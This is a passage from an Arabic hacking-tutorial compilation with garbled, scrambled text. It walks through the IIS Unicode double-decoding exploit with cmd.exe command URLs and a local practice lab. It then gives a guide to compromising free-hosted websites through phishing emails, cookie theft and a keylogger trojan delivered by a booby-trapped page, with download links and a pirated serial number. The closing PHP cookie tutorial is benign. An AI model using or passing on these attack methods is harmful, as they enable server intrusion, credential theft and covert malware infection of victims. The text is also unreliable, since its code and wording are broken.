الشكل‬ ‫‪ Ping.exe+PRINT‬بل من ‪ cmd.exe?/c‬و‬ ‫‪386‬‬

‫بهذا تكون قد شغلت الفايل الذى تريده‬ ‫)‪. ( enjoy this‬حيث تصبح الثغره بهذا الشكل ‪::‬‬ ‫‪http://issserver/scripts/..%5c..‬‬ ‫‪%.../ping.exe+PRINT‬‬ ‫* ‪ - +c/‬و بالتالى كما عرفنا فوق انا ‪ c/‬هى ال‬ ‫‪ argument‬لل ‪ cmd.exe‬او الحاله التى سينفذ‬ ‫عليها ال ‪ cmd‬المر اما علمه ال ‪ +‬التى بجانب ال ‪/‬‬ ‫‪ c‬فهى بمقا‪.‬م المسافه بين الكلمتين فى الثغره و لكن ل‬ ‫يمكننا اسبدالها بمسافه عاديه و بعدها يكون المر‬ ‫الذى يحمله سطر الوامر لينفده ثم علمه ‪ +‬ثانيه و‬ ‫بعدها اسم الدرايف الذى تعرض محتوياته على‬ ‫الشاشه حاليا ‪.‬‬ ‫**و نأتى الن لهم نقطه فى الثغره و هى اساسا سبب‬ ‫الثغره كما ذكرنا فى اول الكل‪.‬م )هو ان سبب الثغره‬ ‫يكون حل شفره العنوان اكثر من مره (و هذا ما نطلق‬ ‫عليه ال ‪ decode‬و انا شخصيا افصل الديكودز على‬ ‫انه تحليل حتى نصل لبسط الحل كما فى الرياضيات‬ ‫يعنى ‪ simplyfiey‬اى تبسيط و فك المعادله تعالو‬ ‫تخلينا نفهمكم هذا على الثغره نفسها ‪::‬‬ ‫‪387‬‬

‫‪ %255c..%255c../‬هذا هو الديكود اى التحليل‬ ‫للصل ‪..../‬‬ ‫ولكن ما الذى نحاول ان نفعله بهذه التحليلت الغريبه‬ ‫؟‬ ‫فنحن بذلك نحاول ان نحسن و نلعب فى مسارات‬ ‫الديريكتورز و لكن للسف ل يمكنك تغيير او اللعب فى‬ ‫الديريكتورز لن ال ‪ iis‬مزود بخاصيه عمل ‪check‬‬ ‫على مثل هذه الديكودز و منعها من التنفيذ و هنا يقع‬ ‫اصل ثغره اليونى كود و هو التحليل لمرتين او لكثر‬ ‫من مره فهمتم قصدى الن اى ان ال ‪ iis‬مزود فعل‬ ‫بخاصيه ال ‪ check‬على هذه الديكودز و لكن انت‬ ‫تضع الثغره و بها اكثر من تحليل واحد لنفس اسم‬ ‫الموقع و لذلك يقو‪.‬م ال ‪ iis‬بوظيفته المعتاده و هى ال‬ ‫‪ check‬و المنع على الديكود الول و يظهر له ان كل‬ ‫شئ بخير و انه يسيطر على الموقف تخخخخخخخخ و‬ ‫لكن الحقسقه انه يعمل ال ‪ check‬مره واحده فتكون‬ ‫النتيجه ان الديكود الثانى ينجح تماما فى محاوله اللعب‬ ‫فى الديريكتورز و بالتالى يكون نتيجه الديكود الثانى‬ ‫هو ان يرهجع الى اصله اى ‪( slash) /‬‬ ‫و تعالو ندتخل و نتعمق اكثر فى تفاصيل الديكود للثغره‬ ‫بعد ان عرفنا فكرتها ‪::‬‬ ‫‪388‬‬

‫شوفو فيه ماده اسمها ‪ computer logic‬و الماده‬ ‫دى را ح درس فيها شئ يسمى ‪HexaDecimal‬‬ ‫‪ Values‬و هذه ال ‪ values‬هى اساس الديكود‬ ‫الذى نفعله فى الثغره اى ان كل حرف صحيح او حركه‬ ‫مثل ‪ /‬فى الكمبيوتر لها ما يسمى بال ‪hex value‬‬ ‫تعالى اوضحلك اكثر ‪::‬‬ ‫مثل‪ 20% :‬تعنى مسافه )‪(space‬‬ ‫هذا مثال بسيط و اعتقد انك فهمت الن كلمى و طبعا‬ ‫يوهجد هجدول لهذه ال ‪ hex values‬المساويه‬ ‫للحروف و الحركات العاديه فى الكمبيوتر ‪ ,‬اذن اعتقد‬ ‫انك ادركت تماما الن انك ترسل ‪hex values‬‬ ‫عوضا عن الحروف و الحركات العاديه الى السرفر و‬ ‫هذا بالضبط ما نسميه التحليل او فك الشفره او ال‬ ‫‪decode‬‬ ‫تعالى نخش فى تفاصيل الثغره اكثر و سنأتخذ الحركه‬ ‫التى نشر ح عليها هى ال ‪ ( slash) /‬حيث انها من‬ ‫اساسيات الديكود فى هذه الثغره ‪::‬‬ ‫شوف فى هجدول ال ‪ hex value‬را ح نجد ان ال ‪= /‬‬ ‫‪ , 5c%‬طبعا هذا هو الديكود الول الذى ستفكر الن‬ ‫فى انك تحذف ال ‪ /‬و تضع بدل منها هذا ال ‪value‬‬ ‫فتنجح الثغره و لكن انا اقول لك هذا تخطأ لن هذا هو‬ ‫‪389‬‬

‫الديقود الول و انا ذكرت ان الديكود يحدث مرتين او‬ ‫ممكن اكثر يعنى لو وضعت هذا الديكود الول فستجد‬ ‫ان ال ‪ iis‬لديه القدره على ان يمسك هذا الديكود و‬ ‫يمكنعه من التنفيذ و لذلك علينا ان نحلل هذا ال‬ ‫‪ value‬حتى يتم الديكود التانى فتنجح الثغره‬ ‫و بالنظر الى هجدول ال ‪hexadecimal values‬‬ ‫شوف نجد هذا ‪::‬‬ ‫‪%25 = %‬‬ ‫‪%35 = 5‬‬ ‫‪c = %63‬‬ ‫و بالتالى نجد انفسنا قد تخدعنا ال ‪iis checker‬‬ ‫بأننا حللنا ال شفره مرتين و بالتالى فسنحصل فى‬ ‫المقابل على الصل و هو ‪ /‬و بالتالى تكون قد نجحت‬ ‫الثغره ‪.‬‬ ‫فهمتم الن شباب معنى ديكود العنوان مرتين و فهمتم‬ ‫اساس الثغره و الديكود مرتين ليس معناه تكرار‬ ‫التحليل الول مرتين و لكن معناه تحليل و فك التحليل‬ ‫الول اى ‪ simplify‬الى ابسط و اطول صوره ممكنه‬ ‫فى نفس الوقت‬ ‫‪390‬‬

‫و عشان توضح اكثر معك را ح احطلك كيف التركيبه‬ ‫الصح للتحليل ‪::‬‬ ‫‪%255c %25 = % 5 = 5 c = c = %5c‬‬ ‫‪%%35c % = % %35 = 5 c = c = %5c‬‬ ‫‪c = = %63 5 = %35 % = % %%35%63‬‬ ‫‪%5c‬‬ ‫‪%63 5 = %35 % = %25 %25%35%63‬‬ ‫= ‪c = %5c‬‬ ‫ثم ‪/= 5c% :‬‬ ‫ارائيتم التحليل طبعا فى التخر يجب ان يساوى الديكود‬ ‫الصل و هو كما واضح فى مثالنا كل التحليلت تساوى‬ ‫‪ 5c%‬و كما ذكرنا ‪ / = 5c%‬و لكننا حللنا هذا الرمز‬ ‫الى اطول و ابسط تحليل حتى نخدع ال ‪iis‬‬ ‫‪. checker‬‬ ‫و فى النهايه بعد فهمنا للثغره و اساسها هيا تعالو‬ ‫نطبقها مع بعض‬ ‫سوف نضع الثغره فى هذا الشكل ‪::‬‬ ‫‪http://iisserver/scripts/..%5c..‬‬ ‫‪%...xe?/c+dir+c:+/s‬‬ ‫‪391‬‬

‫و ستدتخلون على الموقع بنجا ح و لكن اكيد تلحظون‬ ‫شئ هجديد قد زاد على الثغره و هذا الشى هو ‪s/+‬‬ ‫هذا الرمز‬ ‫و عندما تدمج هذا الرمز مع الثغره كما فى المثال‬ ‫السابق سوف تأتيك لسته بكل فايل كبير و صغير فى‬ ‫كمبيوتر الويب سرفر‬ ‫و ال تعبت فى هذا الدرس و تعبت فى قرائه‬ ‫المعلومات و تجميعها عن اليونى كود حتى اصل لهذا‬ ‫الشكل التخوه و ان شاء ال انتظرو موضوعى القاد‪.‬م‬ ‫بعدما اكون انهيت امتحانى الول فى ‪MCSE‬‬ ‫)ادعولى بالنجا ح ( و سيكون عباره عن تلخيص‬ ‫للتعامل مع شبكات ويندوز ‪ 2000‬و كيفيه اتختراقها و‬ ‫فائده ال ‪.WIN2000 RESOURCE KIT‬‬ ‫انتهى‪،،،‬‬

‫‪392‬‬

‫" تدريب على عملية الوختراق‬ ‫بواسطة اليوبنيكود "‬ ‫>الكاتب‪ :‬ماكس هاك <‬ ‫بسم ال الرحمن الرحيم‪..‬‬ ‫كثر الكل‪.‬م عن إتختراق المواقع بأنواعه واليو‪.‬م عندي‬ ‫شر ح عن التختراق عن طريق اليونيكود أو بالصح‬ ‫تطبيق عملي على كيفية التختراق عن طريق اليونيكود‬ ‫وهذا النوع يعتبر للمبتدئين وهو الذي بإذن ال‬ ‫سيوصلهم إلى طريق الحتراف ‪.....‬‬ ‫******************‬ ‫‪393‬‬

‫بسم ال نبدأ‪...‬‬ ‫سيكون التطبيق على هجهازك وهو مثل الموقع أو‬ ‫السيرفر وتقو‪.‬م بتطبيق الدرس كما وأنك على موقع‬ ‫مصاب‪.....‬‬ ‫لكي تتدرب على إتختراق المواقع قم بتركيب نظا‪.‬م‬ ‫ويندوز ‪ 2000‬على هجهازك ‪ .‬وفي نفس السيدي تبع‬ ‫النظا‪.‬م تقو‪.‬م بإضافة سيرفر ‪ IIS‬وذلك عن طريق ‪:‬‬ ‫‪ *1‬قم بالذهاب إلى لوحة التحكم‪.‬‬ ‫‪ *2‬قم بالنقر على إضافة إزالة برامج‪.‬‬ ‫‪ *3‬قم بالنقر على زر " إضافة إزالة مكونات ويندوز‬ ‫"‪.‬‬ ‫‪ *4‬قم بوضع علمة صح على الخيار الول “‪.”IIS‬‬ ‫هذا بالنسبة لكيفية تنزيل السيرفر‪..‬‬ ‫اما عن كيفية التدرب على الجهاز أي اتختراقه فقم‬ ‫بالتالي‪:‬ـ‬ ‫قم بوضع الموقع في مجلد ‪wwwroot‬الموهجود‬ ‫داتخل مجلد ‪ Inetpub‬طبعا هتدتخل عليه بعد ما‬ ‫تشغل السيرفر ‪ IIS‬عن طريق‬ ‫‪/http://127.0.01‬‬ ‫وليجاد الثغرة في الجهاز والتدرب عليها قم بتشغيل‬ ‫برنامج عمران سكان أو أي برنامج اتخر للفحص عن‬ ‫‪394‬‬

‫الثغرات تبع اليونيكود وقم بوضع العنوان تبعك الي هو‬ ‫‪/http://127.0.0.1‬‬ ‫وقم بتطبيق المهارات التي تعلمتها في اتختراق المواقع‬ ‫المصابة باليونيكود‪.‬‬ ‫انتهى‪،،،‬‬

‫" شرح مفصل لكيفية اوختراق‬ ‫المواقع المجابنية "‬ ‫>منقول من منتدى إعصار<‬

‫‪395‬‬

‫>الكاتب‪
‫عليك اول ايجاد الكواد الزمه لسرقه الكوكيز من‬ ‫المتصفح=‪-‬‬

‫لنــبدأ الشر ح‬ ‫النقطه الولى لمعرفه نوعيه اصدار المتصفح لصاحب‬ ‫الموقع سهله هجدا فكل موقع يصمم على حسب نوعيه‬ ‫المتصفح الخاص بصاحبه ويكت لنا في نهايه الموقع‬ ‫يفضل تصفحه بدقه معينه ويعطيك اصدار الكسبلور‬ ‫المناسب لتصفح الموقع=المناسب لتصميمه=نفس‬ ‫الصدار الخاص بهوهذه اسهل نقطه واهم شئ فيها‬ ‫لتختراق المواقع المجانيه‬ ‫واما بالنسبه للوصول الى الضحيه فهناك عده طرق‬ ‫ويجب ان يكون معاك اكواد الهتمل الخاصه بسرقه‬ ‫الكوكيز))ساضعها هنا لحقا((والن بعدما حصلت على‬ ‫هذه الكواد تضعها في صفحه وتحاول هجذب الضحيه‬ ‫للتوهجه لها وهناك عده طرق‬ ‫‪397‬‬

‫‪-1‬تاتخذ عنوان ماسنجر او ايميله من اي مكان في‬ ‫الموقع اذا وضعه وتحبه وتصير موثوق‬ ‫عنده))هههههههه حب مصلحه((وتعطيه صفحتك الى‬ ‫حطيت فيها الكوكيز او ترسل له ملف سارق‬ ‫الباسوورد‬ ‫‪-2‬مثل تحدد نوعيه الشركه الى مقدمه الستضافه‬ ‫المجانيه للموقع فمثل اذا كان عنوان الموقع‬ ‫‪/http://www.name.8m.com‬‬ ‫فهذا معناه ان الموقع مقد‪.‬م من شركه فري سيرفر‬ ‫‪FreeServerS‬وتستطيع معرفه النطاق المحدده‬ ‫بالدتخول الى المواقع المجانيه وعمل تسجيل وستظهر‬ ‫لك انواع الدوامين المتاحه))‪....8m.s5‬الخ‬ ‫وتسجل عندهم وسيرسلون لك البيانات ويكون لهم‬ ‫تصميم تخاص هجدا وانت عليك بسرقه نفس التصميم‬ ‫وتغيير محتوى الرساله))طبعا بالعنقليزي((وارسال‬ ‫رساله منه تتطلب منه فتح موقع))موقعك الى فيه‬ ‫الكود((مثل لعمل التحديثات اواي شئ اتخروهو لن‬ ‫يشك اذا رأى تصميم رسالتك وطريقتك نفس طريقه‬ ‫موقع الشركه وسيفتح الموقع حال‬ ‫‪398‬‬

‫واذا لم يضع ايميله فهناك طريقه وهى انك مثل تدتخل‬ ‫سجل الزوار عندهوتكتب شي يقهره و يجذبه بقوه‬ ‫يعني مثل تقول له تصميم موقعك مسروق حرفيا من‬ ‫هذا الموقع وتعطيه اللنك))وهو للمره المليون اقلكم‬ ‫الموقع الى فيه الكود((او اي طريقه اتخرى من‬ ‫ذكائكواذا لم تجد ايميله او سجل زوار فهناك عليك‬ ‫اتختراق الموقع بالثغرات وهو صعب هجدا هجدا‬ ‫النقطه الثالثه وهي الكوكيز=‪-‬‬ ‫يطول شرحها عشان كدا بحط شرحه في موضوع تاني‬ ‫مرفق معاه الكواد الخاصه بالمتصفحات مع طريقه‬ ‫التعامل معها لسرقه كوكيز الضحيه وتوصيله الى‬ ‫هجهازك‬

‫طريقه اتختراق المواقع المجانيه التى اصحابها لديهم‬ ‫متصفح ‪IE 5 IE 5.5‬‬

‫‪399‬‬

‫هذه هي الطريقه التى تستعملها اذا استطعت الوصول‬ ‫الى صاحب الموقع ))راهجع درس "سهوله اتختراق‬ ‫المواقع المجانيه"((‬ ‫اول لن نعتمد على الكوكيز في سرقه الباسوورد‬ ‫وسنعتمد على تروهجان قوي وتخطير يسجل كل شي في‬ ‫الكيبوردوليكشفه النورتون انتي فايروس وهو الذي‬ ‫سنضعه في صفحه ملغومه اول مايفتحها الضحيه ينزل‬ ‫الى هجهازه‪,,,,‬‬ ‫اول قم بتحميل برنامج ‪keykey2000‬وهذا البرنامج‬ ‫يسجل كل شي بالكيبورد والشياء الى كنت تعمل بها‬ ‫ويرسلها على اليميل وانا مجربه وليستطيع النورتون‬ ‫الجديد والزرار الثلثه للغاء العمليات النشطه في‬ ‫النظا‪.‬م ايقافه ووصلته‬ ‫‪http://www.mikkotech.com/kk2000pr‬‬ ‫‪o.exe‬‬ ‫والسيريال نمبر‬ ‫‪400‬‬

‫‪SN: K100-43-109-0‬‬‫‪793218E876A4C9-29‬‬ ‫والبرنامج سهل هجدا ول يحتاج لشر ح واذا اردتم‬ ‫شرحه كلمونيوالن بعدما هجهزت ملف الباتش بهذا‬ ‫البرنامج قم بتحميل برنامج ‪godwill‬وهو البرنامج‬ ‫الخاص للغا‪.‬م الموقع على انترنت اكسبلور ‪ 5‬و‬ ‫‪))5.5‬هذه هي سر المهنه((ووصلته‬ ‫‪http://www.thecorpz.org/activex/gw‬‬ ‫‪package.zip‬‬

‫====================الشــــر ح====‬ ‫=================‬

‫انا لن اقو‪.‬م بعمل شر ح بالصور وهذا شر ح بسيط‬ ‫للبرنامج لنه سهل هجدا‬ ‫‪401‬‬

‫عندما تفتح البرنامج ستظهر لك لوحه اتختار منها‬ ‫‪enter‬في السفل وستظهر لك القائمه والذى يهمنا‬ ‫منها‬ ‫‪Upx‬وهذا لتشفير الباتش))اظننا تخرهجنا عن‬ ‫موضوعنا((‬ ‫‪Html‬وكل شغلنا هنا لكي نقو‪.‬م بعمل صفحه ملغومه‬ ‫وعندما نضغط عليه تجي عده اتختيارات وانت اتختار‬ ‫منها‬ ‫‪General options‬وستظهر لك مربع عرض‬ ‫الصفحات الملغومه وهذا شر ح سريع لها‬ ‫‪enter exe file‬ومن هنا تضع الباتش الى سويته‬ ‫بشرط ال يكون حجمه كبير هجدا))هل تفيدنا هذه‬ ‫المعلومه في شئ((‬ ‫‪enter html‬لستعراض صفحه من هجهازك ثم‬ ‫الغامها وحط علمه صح هجانب ‪use default‬‬ ‫‪402‬‬

‫‪page‬ليقو‪.‬م البرنامج بعمل صفحه هجديده‬ ‫وفي السفل ‪HTA File Name‬وهنا تضع اسم‬ ‫الصفحه وبعد النتهاء من ذلك نختار كلمه‬ ‫‪Done‬ليقو‪.‬م البرنامج بعمل الصفحه))وسيكون مكانها‬ ‫في نفس مجلد البرنامج((‬

‫وارهجو ان يكون الشر ح واضحا‬ ‫واذا واهجهت مشكله مع البرنامج توهجه الى هذا الموقع‬

‫‪http://www.thecorpz.org/html/active‬‬ ‫‪sploits.html‬‬ ‫===================نهايه‬ ‫‪403‬‬

‫الشـــر ح====================‬

‫وبعدما تقو‪.‬م بوضع الصفحه الملغومه في النت‬ ‫واعطائها للضحيه بالطرق التى شرحتها سابقا سينزل‬ ‫التروهجان على هجهازهعندما يقو‪.‬م بفتح موقعك الملغو‪.‬م‬ ‫ولم يبقى لك الن انت تنتظر في بريدك الى حطيته في‬ ‫التروهجان المعلومات عن الضحيه مثل))الموقع‬ ‫واليميل‪,,‬الخ((وهذه الطريقه تنفع ايضا لسرقه‬ ‫الشتراكات واساميه في المنتديات وايميله‪.‬‬ ‫انتهى‪،،،‬‬

‫" درس مفصل عن الكوكيز "‬ ‫>منقول من منتديات هاكرز فلسطين<‬ ‫>الكاتب‪
‫مقدمة‬ ‫تعد الكعكات ) الـ ‪ ( cookies‬من الوسائل المفيدة‬ ‫في انشاء مواقع اكثر تفاعلية ‪ ،‬فبواسطتها ستتمكن‬ ‫من معرفة هل قا‪.‬م المتصفح بزيارة موقعك من قبل ا‪.‬م‬ ‫ل ‪..‬‬ ‫في هذا الدرس سنتعرف على الكعكات و كيف يمكننا‬ ‫استخدامها ‪...‬‬ ‫اقسا‪.‬م الدرس ‪:‬‬ ‫‪ -1‬معلومات عامة ‪.‬‬ ‫‪ -2‬زراعة الكعكات على هجهاز العميل ‪.‬‬ ‫‪ -3‬قراءة الكعكات من هجهاز العميل ‪.‬‬ ‫‪ -4‬تطبيق ‪ :‬تخصيص لون الخلفية ‪.‬‬ ‫معلومات عامة‬ ‫ ما هي ملفات الكوكيز ؟‬‫ملفات الكوكيز عبارة عن ملفات نصية ‪ ،‬تقو‪.‬م المواقع‬ ‫التي تزورها بإيداعها على القرص الصلب في هجهازك‬ ‫‪ ،‬وتحتوي هذه الملفات النصية على معلومات تتيح‬ ‫للموقع الذي أودعها أن يسترهجعها عند الحاهجة ‪ ،‬أي‬ ‫‪405‬‬

‫عند زيارتك المقبلة للموقع ‪.‬‬ ‫وتختلف المعلومات التي تخزن ضمن ملفات الكوكيز‬ ‫من موقع لتخر ‪ ،‬ولكن ليس بإمكان هذه المواقع‬ ‫استرهجاع أي معلومات إضافية عنك أو عن هجهازك ‪،‬‬ ‫باستثناء تلك المعلومات المخزنة في الملف النصي‬ ‫الخاص بها ‪ ،‬والتي تم إرسالها من قبل الموقع ‪،‬‬ ‫وبذلك ل تستطيع هذه المواقع الطلع على مضمون‬ ‫ملفات الكوكيز التخرى ‪ ،‬أو أي ملفات تخاصة على‬ ‫هجهازك ‪.‬‬ ‫ كيف يتم إيداع ملفات الكوكيز على هجهازك ؟‬‫يرسل المتصفح ‪ ،‬عند إدتخالك عنوان موقع في شريط‬ ‫العناوين ‪ ،‬طلب ًا إلى الموقع الذي حددته ‪ ،‬متضمن ًا‬ ‫عنوان ‪ IP‬الخاص به ‪ ،‬ونوع المتصفح الذي تستخدمه‬ ‫‪ ،‬ونظا‪.‬م التشغيل الذي يدير هجهازك ‪ .‬تخ ّزن هذه‬ ‫المعلومات في ملفات تخاصة بالمزود ‪، Log Files‬‬ ‫ول علقة للكوكيز بالمعلومات التي يتم إرسالها ‪ .‬وفي‬ ‫الوقت ذاته يبحث المتصفح عن ملفات كوكيز ‪ ،‬التي‬ ‫تخص الموقع المطلوب ‪ ،‬فإذا وهجدها يتم إرسالها مع‬ ‫طلب مشاهدة الموقع ‪ ،‬وإذا لم توهجد ‪ ،‬فإن الموقع‬ ‫سيدرك أن هذه زيارتك الولى إليه ‪ ،‬فيقو‪.‬م بإرسال‬ ‫‪406‬‬

‫ملفات الكوكيز إلى هجهازك لتخزن عليه ‪.‬‬ ‫وبإمكان الموقع تغيير المعلومات الموهجودة ضمن‬ ‫ملفات الكوكيز أو إضافة معلومات هجديدة كلما قمت‬ ‫بزيارة الموقع ‪ .‬يتم تخزين بعض ملفات الكوكيز في‬ ‫الذاكرة فقط ‪ ،‬بحيث يجري حذفها مباشرة عند إغلقك‬ ‫المتصفح ‪ ،‬ولكن معظمها وتسمى "ملفات الكوكيز‬ ‫المثابرة"‪ ،‬يتم تخزينها لفترة محددة على القرص‬ ‫الصلب لحين انتهاء صلحيتها وقد تدو‪.‬م صلحيتها مدة‬ ‫أشهر أو حتى سنوات ‪ .‬أما بعض ملفات الكوكيز التي‬ ‫تعرض تاريخ صلحية لتاريخ سابق ‪ ،‬فإنها ُتحذف‬ ‫مباشرة ول ُتخَّزن على قرصك الصلب ‪ .‬وتعود‬ ‫المعلومات المخزنة في ملفات الكوكيز إلى مزودات‬ ‫الموقع الذي أصدرها فقط ‪ ،‬وقد تعمم بعض الشركات‬ ‫الكبرى ملفات الكوكيز التي تصدرها على هجميع‬ ‫مزوداتها ‪ ،‬لتنسيق المعلومات المتضمنة ‪ ،‬ولكي ل‬ ‫تصدر كل من مزوداتها ملفات كوكيز للمستخد‪.‬م ذاته ‪،‬‬ ‫عند زيارته لصفحات مختلفة في الموقع ‪.‬‬ ‫ مكونات ملف الكوكيز ‪:‬‬‫يتكون عادة من عدة اهجزاء هي اسم الملف ‪ ،‬قيمته ‪،‬‬ ‫تاريخ انتهاء مفعوله ‪ ،‬الموقع المالك له ‪...‬‬ ‫‪407‬‬

‫زراعة الكعكات على هجهاز العميل‬ ‫أول ‪ :‬كيف تزرع ملفات الكعكات ‪:‬‬ ‫يتم ذلك باستخدا‪.‬م الدالة ‪ setcookie‬و تعريفها‬ ‫بالشكل التالي ‪:‬‬ ‫‪:code‬‬

‫‪boolean setcookie ( string name [,‬‬ ‫‪string value [, int expire‬‬ ‫]‪string path [, string domain [, int ,‬‬ ‫‪([[[[[secure‬‬

‫تهمنا المدتخلت الثلث الولى و هي ‪:‬‬ ‫‪408‬‬

‫‪ : name‬اي اسم الكعكة ‪ ...‬فبامكانك ارسال اكثر من‬ ‫كعكة الى متصفح واحد و عندها يصبح السم هو‬ ‫الطريقة الوحيدة للتمييز ‪.‬‬ ‫‪ : value‬القيمة ‪ ...‬فقط قيم نصية ‪ ...‬ل يمكنك وضع‬ ‫مصفوفة كقيمة و هذا أامر مهم ‪ ...‬لكن انتبه بامكانك‬ ‫وضع مصفوفة لكن بطريقة اتخرى ‪ ...‬؟ كيف ؟ ‪:‬‬ ‫استخد‪.‬م الدالة ‪ serialize‬لتحويل اي متغير في بي‬ ‫اتش بي الى شكل نصي و من ثم استخد‪.‬م‬ ‫‪ unserialize‬لعادته الى الشكل الطبيعي ‪.‬‬ ‫‪ : expire‬اي عدد الثواني من بدية عصر اليونكس )‬ ‫‪ 1‬يناير ‪ ( 1970‬و التي بعدها سيقو‪.‬م المتصفح على‬ ‫هجهاز المستخد‪.‬م بحذف الكعكة ‪ ...‬و هنا ثلث حالت ‪:‬‬ ‫‪ <-‬أو ًل ‪ :‬أن يكون الوقت المعطى كمدتخل اكثر من‬‫الوقت الحالي على هجهاز العميل و عندها تخزن الكعكة‬ ‫على هجهاز العميل و تحذف عند انقضاء المدة ‪.‬‬ ‫‪ <-‬ثاني ًا ‪ :‬أن يكون الوقت المعطى كمدتخل اقل من‬‫الوقت على هجهاز العميل و عندها ل يقو‪.‬م المتصفح‬ ‫على هجهاز العميل بتخزينها و اذا وهجدت كعكة بنفس‬ ‫السم فانه يحذفها حتى لو لم تنتهي المدة ‪.‬‬ ‫‪ <-‬ثالث ًا ‪ :‬إذا لم تحدد وقتا فان الكعكة تخزن في‬‫‪409‬‬

‫ذاكرة المتصفح و تفقد حالما يغلق المستخد‪.‬م الموقع ‪.‬‬ ‫مثال ‪:‬‬ ‫‪:code‬‬ ‫>?‬ ‫‪setcookie('site','http://www.palhack‬‬ ‫‪;(erz.com/',time()+3600‬‬ ‫?<‬

‫من الدوال المفيدة دالة ‪ time‬و التي ترهجع الوقت‬ ‫الحالي على شكل عدد الثواني من بداية عصر‬ ‫اليونكس )‪ 1‬يناير ‪. (1970‬‬ ‫ثانيا كيف تحذف او تعدل كعكة‪:‬‬ ‫لكي تحذف كعكة عليك أن ترسل كعكة بنفس السم و‬ ‫تخالية القيمة و ذات وقت اقل من الوقت على هجهاز‬ ‫المستخد‪.‬م‬

‫‪410‬‬

‫مثال ‪:‬‬ ‫‪:code‬‬ ‫>?‬ ‫‪;(setcookie('site','',time()-360000‬‬ ‫?<‬

‫ملحظات ‪:‬‬ ‫‪ -1‬عندما تحدد زمنا ماضي ًا اهجعله قيمة كبيرة لكي‬ ‫تتفادى فارق التوقيت بين الخاد‪.‬م و العميل ‪.‬‬ ‫‪ -2‬لكي تعدل أي كعكة عليك حذفها و إرسالها من‬ ‫هجديد ‪.‬‬ ‫ملحظة مهمة ‪:‬‬ ‫يجب ان تستدعي الدالة ‪ setcookie‬قبل أن ترسل‬ ‫اي شيء الى المتصفح ‪ ..‬فمثل الكود التالي لن ينجح ‪:‬‬ ‫‪:code‬‬

‫‪411‬‬

?> setcookie('site','palhackerz.com',tim ;(e()+20000 echo " Alfjr.com : the best islamic ;"forum

‫بل لو كان هنالك مجرد سطر فارغ قبل علمة البداية‬ 412

... setcookie ‫?< فلن تعمل الدالة‬ : ‫المثال السابق كان من الممكن ان يكون‬ :code ?> setcookie('site','palhackerz.com',tim ;(e()+20000 echo " palhackerz.com : the ?>

413

‫قراءة الكعكات من هجهاز العميل‬ ‫ كيف تستقبل المتغيرات من الكعكة ‪:‬‬‫كما قلنا بانه بامكانك ارسال اكثر من كعكة الى متصفح‬ ‫واحد ‪..‬‬ ‫عندما يطلب المستخد‪.‬م من متصفح ِه صفحة على‬ ‫موقعك فان المتصفح يقو‪.‬م بارسال هجميع الكعكات التي‬ ‫قمت انت بزراعتها عند المستخد‪.‬م ‪ PHP ...‬تسهل‬ ‫عليك قراءة هذه الكعكات و تخزنها في مصفوفة اسمها‬ ‫‪ $_COOKIE‬و هي مصفوفة من النوع‬ ‫‪ Associative Arrays‬بحيث ان المفتا ح هو اسم‬ ‫الكعكة و القيمة قيمة الكعكة كما ارسلتها ‪.‬‬ ‫مثال ‪:‬‬ ‫‪:code‬‬ ‫>?‬

‫‪414‬‬

‫‪;['echo $_COOKIE['site‬‬ ‫?<‬

‫و هذه تطبع ‪:‬‬ ‫‪:code‬‬ ‫‪palhackerz.com‬‬ ‫تطبيق ‪ :‬تخصيص لون الخلفية‬ ‫كمثال بسيط دعنا نقو‪.‬م بانشاء موقع مبسط و نستخد‪.‬م‬ ‫الكعكات لكي نحفظ لون الخلفية المحببة الى الشخص‬ ‫‪..‬‬ ‫ ماذا لدينا ؟‬‫‪ -1‬الملف ‪ : user.php‬يقو‪.‬م الملف بعمليتين ‪:‬‬ ‫‪ <-‬الولى ‪ :‬تحديد اللون الذي اتختاره الزائر ‪.‬‬‫‪ <-‬الثانية ‪ :‬عرض نموذج اتختيار الللون و حفظ‬‫اللون المختار‬ ‫‪ -2‬الملف ‪ index.php‬إحدى صفحات الموقع و‬ ‫التي تستفيد من تخدمات الملف ‪. user.php‬‬ ‫‪415‬‬

: ‫وإليك الكود الخاص بكل ملف‬ : user.php ‫ الملف‬-1 :code ?> -----------------------*/ Cookies-Based Background ..Selector Created By : <"Rasha"
416

}()function display_form <-- Color setting Form --!> form name=color_select> <"method="GET INPUT type="hidden" name="do"> <"value="set_color INPUT name="color" type="text"> "=value <"

417

‫="احفظ‬INPUT type="submit" value> <"‫اللون‬

<-- Color Clearing Form --!> form name=color_clear> <"method="GET INPUT type="hidden" name="do"> <"value="clear_color ‫="ل تتذكر‬INPUT type="submit" value> <"‫لوني المفضل‬ ?>

418

{

}()function set_color ;global $_GET setcookie('color', ;($_GET['color'],time()+36000 ;('header('Location:index.php

{

}()function get_color

419

;global $_COOKIE }((['if(isset($_COOKIE['color ;['return $_COOKIE['color }else{ ;"return "#FFFFFF { {

}()function clear_color setcookie('color', ;($_GET['color'],time()-36000

420

;('header('Location:index.php {

selection //

}('if ($do=='display_form ;()display_form }("elseif ($do=="set_color{ ;()set_color }("elseif ($do=="clear_color{ ;()clear_color 421

‫{‬ ‫?<‬

‫ الدالة الولى ‪ display_form‬تقو‪.‬م فقط بعرض‬‫نموذج اتختيار اللون ‪.‬‬ ‫ الدالة الثانية ‪ set_color‬تقو‪.‬م بحفظ اللون‬‫المختار في كعكة و ترهجع المستخد‪.‬م الى الصفحة‬ ‫الرئيسية ‪.‬‬ ‫ الدالة الثالثة ‪ get_color‬ترهجع قيمة اللون من‬‫الكعكة و اذا لم يكن هنالك قيمة فانها ترهجع لون‬ ‫افتراضي وهو البيض ‪.‬‬ ‫ الدالة الرابعة ‪ clear_color‬تقو‪.‬م بمسح الكعكة‬‫بالطريقة التي ذكرناها في الدرس ‪.‬‬ ‫‪ -2‬ملف الـ ‪: index.php‬‬ ‫ملف عادي هجد ًا ال انه يطلب الدالة ‪ get_color‬من‬ ‫ملف ‪ user.php‬كما يلي ‪:‬‬ ‫‪:code‬‬

‫‪422‬‬

BODY bgcolor=" ;('include('user.php <"..... ‫<مرحبا بك‬h1>
‫يمكنك تخصيص لون الخلفية من هنا‬


a href="user.php?> ‫"< صفحة تخصيص‬do=display_form ‫اللون‬

423



،،،‫انتهى‬

424

425

